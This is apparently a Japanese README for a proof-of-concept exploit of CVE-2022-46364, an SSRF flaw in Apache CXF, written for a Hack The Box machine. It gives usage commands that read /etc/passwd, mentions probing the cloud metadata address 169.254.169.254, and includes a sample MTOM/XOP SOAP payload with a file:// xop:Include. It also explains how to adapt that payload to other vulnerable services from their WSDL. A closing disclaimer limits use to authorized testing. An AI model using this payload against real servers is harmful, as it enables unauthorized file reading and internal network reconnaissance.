
CVE-2022-46364の概念実証エクスプロイト。これはApache CXFのSSRF脆弱性であり、細工されたMTOM/XOP SOAPリクエストを介して任意のファイル読み取りと内部ネットワーク調査を可能にします。
CVE-2022-46364 の概念実証エクスプロイト — Apache CXFのMTOM/XOPリクエスト処理におけるサーバーサイドリクエストフォージェリ(SSRF)脆弱性。
CVE-2022-46364 は、Apache CXF バージョン 3.4.10 および 3.5.5 より前のバージョンに影響します。SOAP サービスで MTOM(Message Transmission Optimization Mechanism)が有効になっている場合、CXF のアンマーシャラーは <xop:Include> 要素内の href 属性を誤って検証します。W3C XOP 仕様で要求されているように href を cid: URI に制限する代わりに、CXF は file://、http://、https:// を含む任意の URI を逆参照します。
これにより、認証されていない攻撃者は以下を実行できます:
file:///etc/passwd)http://169.254.169.254/)このPoCは Hack The Box マシンに対して作成およびテストされました:
ターゲットエンドポイント: http://devarea.htb:8080/employeeservice
ただし、ターゲットのWSDLに応じてXMLペイロードを少し変更することで、ターゲット環境に適応できます。
デフォルトのURLは http://devarea.htb:8080/employeeservice です。
python3 CVE-2022-46364.py --file /etc/passwd
python3 CVE-2022-46364.py --url http://target:8080/employeeservice --file /etc/passwd
python3 CVE-2022-46364.py --file /etc/passwd --verbose
重要: このスクリプトはHTB DevAreaのWSDL構造にハードコードされています。別の脆弱なApache CXFサービスに対して使用するには、ターゲットのWSDL契約に合わせて
build_payload()内のSOAPペイロードを修正する必要があります。
WSDLを取得する ターゲットから:
curl http://target:8080/employeeservice?wsdl
サービスの詳細を特定する:
targetNamespace(例:http://devarea.htb/)submitReport)<content> を持つ <arg0>)ペイロードを修正する build_payload() 内で:
xmlns:dev="...")<dev:submitReport>)<arg0>)<xop:Include href="file://{filepath}"/> を配置する--url を更新する スクリプト実行時。
次のWSDLスニペットがある場合:
<wsdl:definitions targetNamespace="http://example.com/">
<wsdl:operation name="uploadDocument">
<wsdl:input message="tns:uploadDocument"/>
</wsdl:operation>
</wsdl:definitions>
ペイロードは次のようになります:
<soapenv:Envelope xmlns:soapenv="..." xmlns:ex="http://example.com/" xmlns:xop="...">
<soapenv:Body>
<ex:uploadDocument>
<document>
<xop:Include href="file:///etc/passwd"/>
</document>
</ex:uploadDocument>
</soapenv:Body>
</soapenv:Envelope>
Content-Type: application/xop+xml を使用して multipart/related HTTPリクエストを作成します。<xop:Include href="file:///etc/passwd"/> 要素が配置されます。file:// URIを逆参照します。<return> 要素内に返されます。Content: の後のbase64文字列を抽出し、デコードします。| リソース | リンク |
|---|---|
| Apache CXF セキュリティ勧告 | CVE-2022-46364 |
| NVD エントリ | NVD — CVE-2022-46364 |
| Apache Jira (CXF-8706) | CXF-8706 |
| W3C XOP 仕様 | XML-binary Optimized Packaging |
| Penligent 詳細解説 | CVE-2022-46364 PoC in Practice |
| HTB DevArea | Hack The Box — DevArea |
このツールは許可されたセキュリティテストおよび教育目的のみを意図しています。所有していないシステムをテストする前に、必ず明示的な許可を得てください。作者はこのスクリプトによって引き起こされた誤用や損害について一切の責任を負いません。
MIT ライセンス — 適切な帰属表示のもとで自由に使用、修正、共有できます。